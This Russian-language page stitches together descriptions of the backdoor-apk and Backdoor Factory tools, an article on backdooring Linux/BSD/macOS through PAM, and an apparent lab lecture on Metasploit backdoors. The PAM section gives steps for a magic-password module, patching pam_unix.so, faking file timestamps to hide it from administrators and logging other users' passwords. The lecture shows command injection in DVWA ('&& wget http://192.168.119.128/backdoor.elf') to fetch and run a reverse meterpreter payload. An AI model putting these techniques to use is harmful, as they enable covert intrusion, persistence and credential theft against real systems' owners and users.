Как создать backdoor kali linux

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

backdoor-apk

Описание backdoor-apk

backdoor-apk – это шелл скрипт, который упрощает процесс добавления бэкдора в любой APK файл для Android.

Программа поставляется со сторонними компонентами android-sdk-linux, apktool и proguard5.2.1.

Автор: Dana James Traversie

Лицензия: Apache V2.0

Справка по backdoor-apk

У программы нет справки и только одна опция – имя первоначального файла APK, в который будет зашит бэкодр. Изменить настройки вы можете в первых строках файла backdoor-apk.sh. В них вы можете задать IP адрес и порт для связи с Metasploit, пути до сторонних модулей, имя «файла-крысы», путь до лога и некоторые другие опции:

Руководство по backdoor-apk

Страница man отсутствует.

Примеры запуска backdoor-apk

Внедрить бэкдор в APK файл (BaiduBrowser.apk):

Перекомпилированный APK вы найдёте в директории ‘original/dist‘. Установите этот APK на совместимое устройство Android, запустите его, и управляйте подключением meterpreter на указанном IP и порту.

Установка backdoor-apk

Установка в Kali Linux

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты backdoor-apk

Это утилита командной строки.

Инструкции по backdoor-apk

Ссылки на инструкции будут добавлены позже.

Источник

Инструменты Kali Linux

Список инструментов для тестирования на проникновение и их описание

Backdoor Factory (BDF)

Описание Backdoor Factory

Backdoor Factory (BDF) патчит шеллкодом исполнимые файлы PE, ELF, Mach-O.

Цель BDF – это пропатчить исполнимые бинарники желаемым шеллкодом и сохранить их нормальное выполнение как в до пропатченном состоянии.

Поддерживаются: Windows PE x32/x64 и Linux ELF x32/x64 (System V).

Некоторые исполнимые файлы имеют встроенные защиты, т.е. программа будет срабатывать не на всех бинарниках. Рекомендуется тестировать исполнимые файлы перед распространением файлов на клиентские машины или использовании в упражнении.

PE файлы

• Может найти codecaves в EXE/DLL.
• По умолчанию очищает указатель на таблицу PE сертификатов, следовательно, снимает подпись с исполнимого файла.
• Может сделать инжект шеллкода внутрь code caves или в новую секцию.
• Может найти, должен ли исполнимый файл PE запускаться с повышенными привилегиями.
• При выборе code caves, вы можете использовать следующие команды:
• -Jump (j), для прыжка code cave
• -Single (s), для патчинга всего вашего шеллкода в одну code cave
• -Append (a), для создания code cave
• -Ignore (i или q), игнорировать этот бинарник
• Может игнорировать DLLs
• Импорт таблицы парчинга
• AutoPatching (-m automtic)
• Onionduke (-m onionduke)

ELF файлы

• Добавление 1000 байт (в байтах) к TEXT SEGMENT (текстовому сегменту) и инжект в эту секцию кода шеллкода.

Mach-O файлы

• Патчинг Pre-Text Section и удаление подписи

Источник

Как сделать бекдор для Linux, BSD и macOS

Спoсобов закрепиться на взломанной машине масса. От самых банальных и легко обнаруживаемых (добавить себя в базу пользователей) до сложных модулей ядра, реализующих обратный шелл на удаленную машину. Но есть среди них очень простой в реализации и достаточно скрытный метод, о котором знают на удивление мало людей. Это модификация модулей системы аутентификации PAM, котоpую используют все современные UNIX-системы.

Что такое PAM

Подключаемые модули аутентификации (Pluggable Authentication Modules, PAM) — это набор API, необходимых для реализации механизмов аутентификации в различных приложениях.

До появления PAM, чтобы реализовать аутентификацию, скажем, с помощью ключ-карты, разработчикам приходилось вносить код поддержки этих самых ключ-карт в каждый компонент системы, ответственный за аутентификацию пользователя. То есть дописывать и пересобирать приходилось утилиту login, sshd, а также любой другой софт, в который плaнировалось добавить подобную функциональность.

С появлением PAM ситуация намного упростилась. Теперь, чтобы добавить в систему свой неповторимый самописный протокол аутентификации, достаточно реализовать его в рамках одного-единственного модуля PAM. А все утилиты и приложения, умеющие работать с PAM, подхватят его и смогут использовать для аутентификации пользователя.

На практике это выглядит примерно так: утилита login обращается к PAM, который выполняет все необходимые проверки с помощью указанных в конфигурационном файле модулей и возвращает результат обратно утилите login. Удобно, не правда ли? Однако такой пoдход содержит в себе возможности, которые мы можем использовать для закрепления в системе.

Стоит сделать небольшую оговорку. Существует три основные реализации PAM:

• Linux-PAM — основная реализация PAM в любой Linux-системе;
• OpenPAM — используется в BSD-системах и macOS;
• JPam — реализация PAM для Java-приложений.

Заострять внимание на какой-то конкретнoй реализации мы не будем. Основная функциональность везде одинакова.

Аспекты закрепления в *nix с использованием PAM

Настройки PAM для каждого приложения ты можешь найти в каталоге /etc/pam.d (Linux) либо в файле /etc/pam.conf . Пример конфигурационного файла для утилиты login в macOS:

Давай разберемся, какая магия тут происходит.

Конфигурационный файл описывает правила проверки, которые должны быть соблюдены для успешной аутентификации пользователя или же выполнения других действий (изменение пароля, подготовка пользовательского окружения). Каждая строка конфигурационного файла содержит одно пpавило. Проверки выполняются построчно.

Слева направо: тип модуля, control_flag , имя модуля. Для нас в первую очередь представляет интерес тип модуля auth, именно эти модули ответственны за аутентификацию. Control_flag — это свойство модуля. Оно может принимать значения:

• requisite (необходимый) — если модуль возвращает положительный ответ, выполняется оставшаяся часть цепочки и запрос удовлетворяется. Если модуль возвращает отрицательный ответ, то запрос немедленно отвергается и любые другие проверки не выполняются;
• required (требуемый) — точно так же, как и requisite: если ответ положительный, выполняется оставшаяся часть цепочки проверок. С той лишь разницей, что в случае отрицательного ответа цепочка проверок продолжает выполняться, однако запрос отвергается;
• sufficient (достаточный) — удовлетворяет запpос в том случае, если ни одна из других ранее проведенных по цепочке проверок не отработала отрицательно. В случае еcли модуль сработал отрицательно, результат игнорируется и цепочка проверок отрабатывается дальше;
• optional (нeобязательный) — модуль отрабатывается, однако результат игнорируется.

Уже на этом этапе ты наверняка смекнул, что, внeся небольшие изменения в файл конфигурации, мы можем обеспечить себе успешный вход в систему с любым паролем (достаточно пометить все auth-модули как optional). Но это решение будет работать до тех пор, пока легитимный пользователь или администратор не заметит того, что успешно логинится в систему даже с неверным паролем.

Пишем собственный модуль-бэкдор

PAM позволяет нам подключать собственные мoдули аутентификации. Поэтому мы можем создать модуль с «волшебным» паролем и добиться того, чтобы система принимала как стандартные пароли пользователей, так и наш собственный. В случае ввода неверного пароля мы увидим вполне ожидаемую ошибку аутентификации. Неплохой вариант.

Итак, код (не забудь заменить magic-password на свой «волшебный» пароль):

И поместим его в каталог с другими модулями:

Обрати внимание, что путь /lib/x86_64-linux-gnu/security/ специфичен для Debian/Ubuntu. В Fedora, Red Hat и CentOS модули располагаются в каталоге /lib64/security/, а в Arch Linux — в каталоге /lib/security/.

Теперь остается только сконфигурировать PAM таким образом, чтобы прохождeния проверки твоим модулем было достаточно для успешной аутентификации. Например, конфиг для утилиты su (/etc/pam.d/su):

В некоторых Linux-системах настройки аутентификации могут быть вынесены в несколько файлов: common-auth, common-password, common-session, а затем подключаться к конфигурационным файлам конкретных утилит через @include . Этот момент надо учитывать.

После того как ты внесешь настройки в конфиг, утилита su будет пускать тебя с использованием указанного в модуле пароля. Тот же трюк можно проделать с утилитой login (консольный вход в систему) и sshd для удаленного входа.

Встраиваем бэкдор в существующий модуль

Редактируя конфиг PAM, ты мог заметить модуль pam_unix.so. Этот модуль отвечает за аутентификацию пользователей с пoмощью стандартной для UNIX-систем базы паролей /etc/passwd. Его используют многие утилиты, включая su, login, sshd, и другие программы (например, SecureFTPd).

Поскольку PAM — это все-таки open source и мы имеем доступ к исходным текстам как самого демона, так и стандартных его компонентов, мы можем встроить свой бэкдор прямо в этот модуль.

Для того чтобы внести необходимые изменения, скачиваем исходные тексты PAM:

Открываем файл Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c и ищем следующие строки:

Сразу пoсле второй строки добавляем проверку нашего пароля (замени magic на свой пароль):

Собираем и заменяем оригинальный модуль своим:

Чтобы админ не заметил подмены, изменяем время создания файла так, чтобы оно совпадало со временем создания других модулей:

Это все, никаких правок конфигов, бэкдор уже в системе. На все перечисленные выше действия у тебя уйдет несколько минут. А подготовленный за это время плацдарм можно использовать с умом, чтобы еще глубже окопаться в целевой системе.

Добавляем бэкдор в модуль pam_unix.so

Логиpуем пароли других пользователей

На сладкое ты можешь добавить функцию логирования паролей других юзеров, успешно прошедших аутентификацию. Для этого достаточно внести еще одну маленькую модификацию в код модуля pam_unix.so .

Теперь все пароли будут логироваться в /tmp/.passwd :

Собираем пароли пользователей

Источник

Этичный хакинг с Михаилом Тарасовым (Timcore)

Блог об Этичном Хакинге

#49 Kali Linux для начинающих. Создаем бэкдор Metasploit.

В этой лекции Вы научитесь создавать бэкдор, с помощью которого Вы сможете получить шелл Meterpreter, который Вы будете использовать вместе с Metasploit. Вместо обычного шелла netcat-a, Вы получите более продвинутый шелл meterpreter-a. Должен сказать, что если Вы учили все, о чем мы говорили ранее, то Вы поймете все, что я Вам объясню и покажу. Но если по какой-либо причине тема покажется Вам слишком сложной, не беспокойтесь об этом, так как когда Вы будете переходить на более продвинутый материал, то там будет затронута данная тематика.

Я создам исполняемый файл, который позволит мне использовать шелл meterpreter-a, и для этого я воспользуюсь скриптом сервиса msfpc, который работает на базе msfvenom. Metasploit venom – это инструмент, с помощью которого можно создавать пэйлоады, но сейчас мы будем рассматривать msfpc, который гораздо проще в использовании, нежели msfvenom. Если мы введем команду «msfpc -h», то увидим огромное количество различных типов пэйлоадов:

Я могу создавать пэйлоады, которые будут влиять на машины на Windows, aspx файлы, или powershell, а также линукс .elf и т.д.

Скопируем шаблон для заполнения в самом верху вывода команды, и вставим в консоль для постепенного заполнения:

Удаляем последние два параметра и в третьем оставляем TCP. После этого мне нужно выбрать параметр STAGED или STAGELESS. Что это такое? STAGELESS пэйлоад более самостоятелен, так как сам запускается, исполняется, и внутри у него есть весь необходимый функционал. А вот STAGED-пэйлоад разделен на несколько частей. Сначала выполняется первая часть, а затем вторая. На самом деле я удалю этот параметр и Вам не стоит о нем сейчас беспокоиться.

Для нас беспокойным будет следующее; а именно, какой шелл мы будем использовать. BIND-SHELL или REVERSE-SHELL. Мы уже знаем разницу между ними, и для нас лучший вариант – это использование обратного шелла.

Затем у меня есть выбор, хочу ли я, чтобы это был пэйлоад Metasploit или команда, которую я хочу запустить. Я могу выбрать опцию CMD, чтобы затем выбрать команду, которую я хочу запустить. Или же я могу выбрать пэйлоад Metasploit, чтобы потом работать в шелле meterpreter-a. Благодаря последнему пэйлоаду, у меня будет больше возможностей, и я выбираю опцию MSF.

Далее мне нужно выбрать порт – это 4444.

После этого мне нужно выбрать айпи-адрес, и в данном случае это будет айпишник моей машины на Kali Linux, потому что это обратный шелл. Это 192.168.119.128.

И в конце, а вернее в начале, мне нужно выбрать тип пэйлоада, который я хочу сгенерировать. Другими словами, на какой системе я буду его запускать, и в каком приложении. Я хочу, чтобы это был пэйлоад для Линукса.

Запись будет иметь вид:

Жмем «Enter», и даем инструменту творить магию:

Обратите внимание на строку CMD и команду, которую я бы вводил, используя msfvenom, но это не пришлось делать, так как есть опция CMD, и за меня была проделана вся работа.

В итоге мы создали исполняемый файл с расширением «.elf». В дополнении ко всему у нас создается скрипт Metasploit:

Когда я его запущу, то будет запущен Metasploit со всеми параметрами. Теперь я могу запустить этот скрипт. Все, что мне нужно, так это скопировать эту строку с параметрами, и вставить в новое окно терминала:

Эта команда запускает Metasploit и в фоновом режиме запускает «handler-metasploit» — это часть metasploit – которая занимается входящим подключением от обратного шелла, почти также как и в случае с netcat с режимом прослушивания, когда мы использовали обратный шелл. Помните, что мы настроили netcat на нашей машине, чтобы он прослушивал все входящие подключения, и когда мы подготовили цель, нам был отправлен шелл, который мы смогли захватить с помощью netcat, потому что мы настроили его на ожидании входящих соединений. Именно этим мы тут и занимаемся, используя Metasploit. Мы используем handler, который и сейчас находится в фоновом режиме:

Он ждет подключение от пэйлоада meterpreter.

Мне нужно загрузить этот исполняемый файл, а затем запустить его на системе, на Линуксе. Для этого я хотел бы познакомить Вас с уязвимостью веб-приложений, для разнообразия. Мы рассмотрим уязвимость выполнения команд (Command Execution). Уязвимость выполнения команд, как следует из имени, позволяет нам запускать и выполнять команды на машине цели, без необходимости загружать php-шелл. Мы можем сразу выполнять команды в системе. Такое можно проверить в приложениях, которые позволяют проверить пинг на сайте, и эти значения отображаются на самой странице. Если эти функции настроены неправильно, то Вы сможете комбинировать команды. Обычно ограничиваются типы запускаемых команд. Давайте предположим, что есть веб-сайт, который позволяет проверить пинг других веб-сайтов. Этот веб-сайт в реальности позволяет запрещать все, кроме команды ping, и не разрешать ничего другого, но если неправильно его настроить, то Вы можете запустить более одной команды, и это даст Вам доступ к функционалу операционной системы, на которой хостится этот веб-сайт. Давайте я покажу Вам, что я имею ввиду на сайте DVWA:

И если Вы погуглите, то можете встретить аналогичные сайты, с подобным функционалом. Если я введу, например локальный айпи-адрес, то на сайте отобразится время на выполнение команды:

Что произойдет, если я попытаюсь объединить его с другой командой. Введем наш локальный айпи-адрес и добавим команду pwd, перед которой будут стоять два амперсанда:

В выводе я получаю текущую директорию (выделено салатовым в самом низу). Но самое важное то, что я запустил не одну команду, а две, что очень хорошо для атакующего, т.е для нас.

Давайте проверим, запущен ли wget в этой системе. Для этого пишу команду: «127.0.0.1 && wget -h»:

И к счастью для меня «wget» был запущен. Все, что мне остается, так это использовать «wget», чтобы подключиться к Kali и скачать .elf файл.

Перед этим мне нужно настроить нашу машину на Kali качестве веб-сервера и поместить этот «.elf» файл в директорию, чтобы я мог его скачать через wget на машину цели. Я копирую данный файл в директорию /var/ www/html. Команда будет выглядеть как: «cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf»:

Далее я запускаю сервер Apache2, с помощью команды «service apache2 start»:

Теперь на моей машине на Kali запущен веб-сервер, и на нем есть файл «backdoor.elf». Возвращаемся к DVWA, и вводим айпи-адрес нашей машины на Kali, далее два амперсанда и команду wget, чтобы скачать файл с машины на Kali. Команда будет выглядеть как: «192.168.119.128 && wget http://192.168.119.128/backdoor.elf»:

Давайте проверим, прошла ли загрузка. Запускаем команду «ls»:

Отлично. Я смог загрузить файл с Кали Линукс на машину Metasploitable2. Итак, перед запуском файла нужно сделать его исполняемым. Это делается с помощью команды «chmod +x backdoor.elf», и если все прошло корректно, то мы увидим х напротив файла бэкдора:

Последний шаг. Запуск файла. Это делается с помощью команды: «192.168.119.140 && ./backdoor.elf»:

Переходим в терминал, и у нас есть открытая сессия:

Чтобы взаимодействовать с сессией, нужно ввести команду «sessions –i 1», где I значит – interact (взаимодействие):

Готово. Теперь у меня есть шелл meterpreter, который позволяет мне взаимодействовать с системой на Metasploitable2. Например, можно выполнить команду «sysinfo»:

Для того, чтобы перейти в стандартный терминал линукс, нужно ввести команду «shell»:

Вот, собственно и все. Таким образом можно запустить бэкдор, который даст нам доступ к шеллу meterpreter, и захватить шелл используя Metasploit Framework.

Конечно, для того, чтобы запустить бэкдор, мне понадобилось использовать уязвимость веб-приложения, скачать исполняемый файл на машину, и запустить его на этой машине. Это всего лишь один из возможных способов.

Источник